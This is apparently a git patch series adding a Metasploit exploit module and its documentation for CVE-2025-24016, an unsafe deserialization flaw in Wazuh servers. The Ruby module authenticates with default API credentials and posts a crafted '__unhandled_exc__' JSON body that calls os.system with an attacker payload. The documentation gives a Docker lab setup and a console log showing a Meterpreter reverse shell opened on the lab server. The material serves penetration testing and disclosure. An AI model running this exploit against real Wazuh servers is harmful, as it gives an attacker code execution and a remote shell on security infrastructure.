From f6e0c43ed9bd896ae270edba836799c80e6e00ea Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Tue, 15 Jul 2025 19:06:00 +0000 Subject: [PATCH 1/5] init module --- .../http/wazuh_auth_rce_cve_2025_24016.rb | 149 ++++++++++++++++++ 1 file changed, 149 insertions(+) create mode 100644 modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb diff --git a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb new file mode 100644 index 0000000000000..b9706e7bf1963 --- /dev/null +++ b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.', + 'Description' => %q{ + Wazuh is a free and open source platform used for threat prevention, detection, and response. + Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability + allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized + as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). + If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can + forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. + The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh + servers in the cluster) or, in certain configurations, even by a compromised agent. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module & default password weakness + 'DanielFi https://github.com/DanielFi', # Discovery + ], + 'References' => [ + ['CVE', '2025-24016'], + ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'], + ['URL', 'https://attackerkb.com/topics/xxx/cve-2025-24016'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Privileged' => false, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-02-10', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 55000 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']), + OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']), + OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-']) + ]) + end + + # get Wazuh API token + # return token if API login is successful else nil + def get_api_token + auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}") + basic_auth = "Basic #{auth}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'), + 'headers' => { + 'Authorization' => basic_auth.to_s + } + }) + return unless res&.code == 200 && res.body.include?('token') + + res_json = res.get_json_document + res_json['data']['token'] unless res_json.blank? + end + + # get the Wazuh version + # return version if successful else nil + def get_wazuh_version(api_token) + api_auth = "Bearer #{api_token}" + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'Authorization' => api_auth.to_s + } + }) + return unless res&.code == 200 && res.body.include?('api_version') + + res_json = res.get_json_document + res_json['data']['api_version'] unless res_json.blank? + end + + # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability + def execute_command(cmd, _opts = {}) + # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}} + post_data = { + __unhandled_exc__: + { + __class__: 'os.system', + __args__: [ cmd.to_s ] + } + }.to_json + + auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}") + basic_auth = "Basic #{auth}" + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'), + 'ctype' => 'application/json', + 'headers' => { + 'Authorization' => basic_auth.to_s + }, + 'data' => post_data.to_s + }) + end + + def check + # check Wazuh API access with the API credentials + api_token = get_api_token + return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil? + + version = get_wazuh_version(api_token) + return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil? + + version = Rex::Version.new(version) + unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1') + return CheckCode::Safe("Wazuh version #{version}") + end + + CheckCode::Appears("Wazuh version #{version}") + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + execute_command(payload.encoded) + end +end From 639315452c843e5ae7f622fcf476200d322a716d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 16 Jul 2025 09:29:14 +0000 Subject: [PATCH 2/5] added attackerkb reference + documenttaion --- .../http/wazuh_auth_rce_cve_2025_24016.md | 381 ++++++++++++++++++ .../http/wazuh_auth_rce_cve_2025_24016.rb | 2 +- 2 files changed, 382 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md diff --git a/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md new file mode 100644 index 0000000000000..ad51757081474 --- /dev/null +++ b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md @@ -0,0 +1,381 @@ +## Vulnerable Application +Wazuh is a free and open source platform used for threat prevention, detection, and response. +Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code +execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in +`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI +request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. +The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, +in certain configurations, even by a compromised agent. + +The following Wazuh release has been tested: +* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop + +See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info. + +## Installation +### Installation steps to install the Wazuh Server application +* Install `Docker` on your preferred platform. +* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/). +* Create a empty directory (`wazuh-docker`). +* Create the `generate-indexer-certs.yml` file in the directory. +```yaml + # Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) +version: '3' + +services: + generator: + image: wazuh/wazuh-certs-generator:0.0.2 + hostname: wazuh-certs-generator + volumes: + - ./config/wazuh_indexer_ssl_certs/:/certificates/ + - ./config/certs.yml:/config/certs.yml +``` +* Run the certificate creation script. +``` +docker-compose -f generate-indexer-certs.yml run --rm generator +``` +* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster. +* You can modify the `4.8.2` version in the `yml` file to pull different versions. +```yaml + # Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) +version: '3.7' + +services: + wazuh.master: + image: wazuh/wazuh-manager:4.8.2 + hostname: wazuh.master + restart: always + ulimits: + memlock: + soft: -1 + hard: -1 + nofile: + soft: 655360 + hard: 655360 + ports: + - "1515:1515" + - "514:514/udp" + - "55000:55000" + environment: + - INDEXER_URL=https://wazuh1.indexer:9200 + - INDEXER_USERNAME=admin + - INDEXER_PASSWORD=SecretPassword + - FILEBEAT_SSL_VERIFICATION_MODE=full + - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem + - SSL_CERTIFICATE=/etc/ssl/filebeat.pem + - SSL_KEY=/etc/ssl/filebeat.key + - API_USERNAME=wazuh-wui + - API_PASSWORD=MyS3cr37P450r.*- + volumes: + - master-wazuh-api-configuration:/var/ossec/api/configuration + - master-wazuh-etc:/var/ossec/etc + - master-wazuh-logs:/var/ossec/logs + - master-wazuh-queue:/var/ossec/queue + - master-wazuh-var-multigroups:/var/ossec/var/multigroups + - master-wazuh-integrations:/var/ossec/integrations + - master-wazuh-active-response:/var/ossec/active-response/bin + - master-wazuh-agentless:/var/ossec/agentless + - master-wazuh-wodles:/var/ossec/wodles + - master-filebeat-etc:/etc/filebeat + - master-filebeat-var:/var/lib/filebeat + - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem + - ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem + - ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key + - ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf + + wazuh.worker: + image: wazuh/wazuh-manager:4.8.2 + hostname: wazuh.worker + restart: always + ulimits: + memlock: + soft: -1 + hard: -1 + nofile: + soft: 655360 + hard: 655360 + ports: + - "56000:55000" + - "5555:5555" + environment: + - INDEXER_URL=https://wazuh1.indexer:9200 + - INDEXER_USERNAME=admin + - INDEXER_PASSWORD=SecretPassword + - FILEBEAT_SSL_VERIFICATION_MODE=full + - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem + - SSL_CERTIFICATE=/etc/ssl/filebeat.pem + - SSL_KEY=/etc/ssl/filebeat.key + - PYTHONBREAKPOINT=remote_pdb.set_trace + - REMOTE_PDB_HOST=0.0.0.0 + - REMOTE_PDB_PORT=5555 + volumes: + - worker-wazuh-api-configuration:/var/ossec/api/configuration + - worker-wazuh-etc:/var/ossec/etc + - worker-wazuh-logs:/var/ossec/logs + - worker-wazuh-queue:/var/ossec/queue + - worker-wazuh-var-multigroups:/var/ossec/var/multigroups + - worker-wazuh-integrations:/var/ossec/integrations + - worker-wazuh-active-response:/var/ossec/active-response/bin + - worker-wazuh-agentless:/var/ossec/agentless + - worker-wazuh-wodles:/var/ossec/wodles + - worker-filebeat-etc:/etc/filebeat + - worker-filebeat-var:/var/lib/filebeat + - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem + - ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem + - ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key + - ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf + + wazuh1.indexer: + image: wazuh/wazuh-indexer:4.8.2 + hostname: wazuh1.indexer + restart: always + ports: + - "9200:9200" + environment: + - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" + - "bootstrap.memory_lock=true" + ulimits: + memlock: + soft: -1 + hard: -1 + nofile: + soft: 65536 + hard: 65536 + volumes: + - wazuh-indexer-data-1:/var/lib/wazuh-indexer + - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem + - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key + - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem + - ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem + - ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem + - ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml + - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml + + wazuh2.indexer: + image: wazuh/wazuh-indexer:4.8.2 + hostname: wazuh2.indexer + restart: always + environment: + - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" + - "bootstrap.memory_lock=true" + ulimits: + memlock: + soft: -1 + hard: -1 + nofile: + soft: 65536 + hard: 65536 + volumes: + - wazuh-indexer-data-2:/var/lib/wazuh-indexer + - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem + - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key + - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem + - ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml + - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml + + wazuh3.indexer: + image: wazuh/wazuh-indexer:4.8.2 + hostname: wazuh3.indexer + restart: always + environment: + - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" + - "bootstrap.memory_lock=true" + ulimits: + memlock: + soft: -1 + hard: -1 + nofile: + soft: 65536 + hard: 65536 + volumes: + - wazuh-indexer-data-3:/var/lib/wazuh-indexer + - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem + - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key + - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem + - ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml + - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml + + wazuh.dashboard: + image: wazuh/wazuh-dashboard:4.8.2 + hostname: wazuh.dashboard + restart: always + ports: + - 443:5601 + environment: + - OPENSEARCH_HOSTS="https://wazuh1.indexer:9200" + - WAZUH_API_URL="https://wazuh.master" + - API_USERNAME=wazuh-wui + - API_PASSWORD=MyS3cr37P450r.*- + - DASHBOARD_USERNAME=kibanaserver + - DASHBOARD_PASSWORD=kibanaserver + volumes: + - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem + - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem + - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem + - ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml + - ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml + - wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config + - wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom + depends_on: + - wazuh1.indexer + links: + - wazuh1.indexer:wazuh1.indexer + - wazuh.master:wazuh.master + + nginx: + image: nginx:stable + hostname: nginx + restart: always + ports: + - "1514:1514" + depends_on: + - wazuh.master + - wazuh.worker + - wazuh.dashboard + links: + - wazuh.master:wazuh.master + - wazuh.worker:wazuh.worker + - wazuh.dashboard:wazuh.dashboard + volumes: + - ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro + +volumes: + master-wazuh-api-configuration: + master-wazuh-etc: + master-wazuh-logs: + master-wazuh-queue: + master-wazuh-var-multigroups: + master-wazuh-integrations: + master-wazuh-active-response: + master-wazuh-agentless: + master-wazuh-wodles: + master-filebeat-etc: + master-filebeat-var: + worker-wazuh-api-configuration: + worker-wazuh-etc: + worker-wazuh-logs: + worker-wazuh-queue: + worker-wazuh-var-multigroups: + worker-wazuh-integrations: + worker-wazuh-active-response: + worker-wazuh-agentless: + worker-wazuh-wodles: + worker-filebeat-etc: + worker-filebeat-var: + wazuh-indexer-data-1: + wazuh-indexer-data-2: + wazuh-indexer-data-3: + wazuh-dashboard-config: + wazuh-dashboard-custom: +``` +* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment. +* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running. +* You can bring down the environment for a fresh start with the command `docker-compose down`. + +You are now ready to test the module. + +**IMPORTANT NOTE:** +This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. +It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger +this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file) +Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence +the vulnerable code will not be triggered. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=Unix/Linux Command>` +- [ ] `exploit` + +you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings. + +## Options +**API Credentials:** +`API_PWD` Wazuh API password (MyS3cr37P450r.*-) +`API_USER` Wazuh API user (wazuh-wui) + +## Scenarios +### Wazuh server 4.8.2 on Docker Desktop +```msf +msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options + +Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + API_PWD MyS3cr37P450r.*- yes Wazuh API password + API_USER wazuh-wui yes Wazuh API user + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, + socks5h + RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 56000 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Path to the wazuh manager + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python + variant also Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST 192.168.201.10 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_COMMAND is one of CURL,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Unix/Linux Command + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Wazuh version 4.8.2 +[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3090404 bytes) to 192.168.201.85 +[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000 + +meterpreter > getuid +Server username: wazuh +meterpreter > sysinfo +Computer : wazuh.master +OS : (Linux 6.10.14-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/ +meterpreter > +``` + +## Limitations +This module works only on Wazuh Server multi-node cluster configuration. diff --git a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb index b9706e7bf1963..f01f1d0eacc85 100644 --- a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb +++ b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2025-24016'], ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'], - ['URL', 'https://attackerkb.com/topics/xxx/cve-2025-24016'] + ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], From 7a9cd791708c732569b63f81dfd89d2c9f941c4a Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 16 Jul 2025 09:32:47 +0000 Subject: [PATCH 3/5] small update on the documentation --- .../modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md index ad51757081474..13e1c99ff73e5 100644 --- a/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md +++ b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md @@ -378,4 +378,4 @@ meterpreter > ``` ## Limitations -This module works only on Wazuh Server multi-node cluster configuration. +This module works only on a Wazuh Server multi-node cluster configuration. From abbcdda6944c32aac024ad9359882bc1ada1a4d2 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 18 Jul 2025 07:22:01 +0000 Subject: [PATCH 4/5] update based on adfoster-r7 comments --- .../linux/http/wazuh_auth_rce_cve_2025_24016.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb index f01f1d0eacc85..9166639d0066d 100644 --- a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb +++ b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb @@ -70,13 +70,11 @@ def initialize(info = {}) # get Wazuh API token # return token if API login is successful else nil def get_api_token - auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}") - basic_auth = "Basic #{auth}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'), 'headers' => { - 'Authorization' => basic_auth.to_s + 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) } }) return unless res&.code == 200 && res.body.include?('token') @@ -106,21 +104,18 @@ def get_wazuh_version(api_token) def execute_command(cmd, _opts = {}) # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}} post_data = { - __unhandled_exc__: - { + __unhandled_exc__: { __class__: 'os.system', __args__: [ cmd.to_s ] } }.to_json - auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}") - basic_auth = "Basic #{auth}" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'), 'ctype' => 'application/json', 'headers' => { - 'Authorization' => basic_auth.to_s + 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) }, 'data' => post_data.to_s }) From 3d0cfd0dfc9a16fc6bfa17924cebda44660600c2 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 30 Jul 2025 20:24:56 +0000 Subject: [PATCH 5/5] update module + documentation based on review comments --- .../http/wazuh_auth_rce_cve_2025_24016.md | 24 ++++--------------- .../http/wazuh_auth_rce_cve_2025_24016.rb | 6 ++--- 2 files changed, 7 insertions(+), 23 deletions(-) diff --git a/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md index 13e1c99ff73e5..9759f4a763333 100644 --- a/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md +++ b/documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md @@ -1,7 +1,7 @@ ## Vulnerable Application Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code -execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in +execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in `/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, @@ -16,25 +16,9 @@ See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve- ### Installation steps to install the Wazuh Server application * Install `Docker` on your preferred platform. * Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/). -* Create a empty directory (`wazuh-docker`). -* Create the `generate-indexer-certs.yml` file in the directory. -```yaml - # Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) -version: '3' - -services: - generator: - image: wazuh/wazuh-certs-generator:0.0.2 - hostname: wazuh-certs-generator - volumes: - - ./config/wazuh_indexer_ssl_certs/:/certificates/ - - ./config/certs.yml:/config/certs.yml -``` -* Run the certificate creation script. -``` -docker-compose -f generate-indexer-certs.yml run --rm generator -``` -* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster. +* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html). +* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration +* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`. * You can modify the `4.8.2` version in the `yml` file to pull different versions. ```yaml # Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) diff --git a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb index 9166639d0066d..5c813e6be1e91 100644 --- a/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb +++ b/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb @@ -17,7 +17,7 @@ def initialize(info = {}) 'Description' => %q{ Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability - allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized + allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. @@ -101,7 +101,7 @@ def get_wazuh_version(api_token) end # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability - def execute_command(cmd, _opts = {}) + def execute_payload(cmd, _opts = {}) # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}} post_data = { __unhandled_exc__: { @@ -139,6 +139,6 @@ def check def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") - execute_command(payload.encoded) + execute_payload(payload.encoded) end end